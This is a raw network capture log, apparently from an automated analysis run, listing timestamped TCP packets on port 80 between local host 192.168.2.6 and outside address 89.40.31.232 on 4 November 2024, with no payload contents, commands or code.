Nov 4, 2024 16:52:37.558033943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558048010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558057070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558072090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558079004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558084965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558094978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558120012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558132887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558140039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558152914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558197021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558202982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558223009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558270931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558276892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558289051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558301926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558306932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558314085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558330059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558337927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558365107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558383942 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558430910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558437109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558443069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558449030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558454990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558461905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558480978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558486938 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558489084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558497906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558526039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558545113 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558594942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558602095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558614016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558619976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558624983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558640003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558645964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558648109 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558682919 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558710098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558732986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558739901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558758020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558763981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558777094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558782101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558783054 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558788061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558801889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558810949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558815956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558845043 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558862925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558886051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558892012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558902979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558908939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558916092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558919907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558933020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558954954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560111046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560142994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560151100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560163975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560188055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560194969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560197115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560204029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560233116 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560281992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560288906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560308933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560317993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560323954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560329914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560344934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560354948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560385942 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560410023 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560437918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560445070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560457945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560471058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560478926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560486078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560492039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560492992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560502052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560523987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560542107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560589075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560595989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560615063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560621977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560635090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560642004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560642958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560650110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560666084 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560683966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560807943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560820103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560832977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560837984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560843945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560856104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560863018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560864925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560869932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560878038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560885906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.560885906 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560904980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.560934067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.564766884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564831018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564831018 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.564840078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564856052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564861059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564874887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564877987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564882994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564888000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.564924955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.564975023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564981937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564994097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.564999104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565007925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565013885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565028906 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565063953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565141916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565149069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565161943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565176010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565184116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565190077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565196037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565198898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565201998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565211058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565215111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565221071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565228939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565243006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565253973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565258980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565259933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565264940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565279007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565285921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565287113 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565294027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565306902 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565313101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565319061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565325022 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565325975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565334082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565345049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565360069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565386057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565399885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565407038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565418959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565424919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565432072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565478086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565514088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565521002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565531969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565538883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565545082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565562963 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565565109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565572023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565583944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565591097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565593004 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565613031 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565619946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565625906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565635920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565635920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565639973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565644979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565674067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565862894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565870047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565881968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565887928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565893888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565900087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565906048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565912008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565917969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565918922 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565923929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565931082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565942049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565943003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565948963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565956116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565967083 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.565968037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565975904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.565994978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566019058 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566023111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566029072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566041946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566047907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566054106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566065073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566070080 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566071033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566077948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566097975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566101074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566107988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566118956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566118956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566126108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566132069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566143036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566145897 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566148996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566157103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566173077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566190958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566240072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566246986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566261053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566334009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566351891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566358089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566370010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566375971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566381931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566394091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566397905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566400051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566407919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566421032 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566442013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566484928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566490889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566497087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566502094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566512108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566520929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566524982 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566550970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566708088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566715002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566728115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566732883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566739082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566757917 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566761971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566768885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566781998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566787004 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566787004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566792965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566806078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566806078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566811085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566817999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566824913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566831112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566836119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566839933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566854954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566859961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566865921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566873074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566879034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566884041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566890001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566895962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566895962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566910028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566911936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566917896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566919088 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566921949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566927910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566932917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.566947937 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.566973925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.568046093 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.579241037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.579272985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.579288006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.579329967 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.579379082 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600395918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600419998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600435019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600441933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600455046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600465059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600483894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600491047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600498915 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600502014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600508928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600517035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600528955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600533962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600549936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600553036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600580931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600678921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600732088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600737095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.600739956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.600779057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.613058090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.613081932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.613130093 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.645881891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.645936012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.645942926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.645957947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.645963907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.645971060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.645973921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.645978928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646011114 CET	59474	80	192.168.2.6	89.40.31.232
